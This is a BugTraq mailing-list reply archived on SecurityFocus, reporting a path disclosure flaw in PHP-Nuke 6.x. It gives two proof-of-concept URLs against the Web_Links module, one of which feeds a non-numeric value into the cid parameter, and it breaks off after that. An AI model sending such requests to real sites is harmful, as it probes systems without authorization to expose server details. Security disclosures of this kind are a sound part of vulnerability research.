BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
Re: Lot of SQL injection on PHP-Nuke 6.5 (secure weblog!) May 12 2003 10:22PM
Rynho Zeros Web (hackargentino gmx net)
I have also discovered a Path Disclosure on PHP-Nuke 6.x, and
others?

Exploit:

http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=vi
ewlink&cid=[any_words]
http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=vi
ewlink

If [ any_words ] has a nonnumerical value or...

[ more ]  
 

Privacy Statement
Copyright 2010, SecurityFocus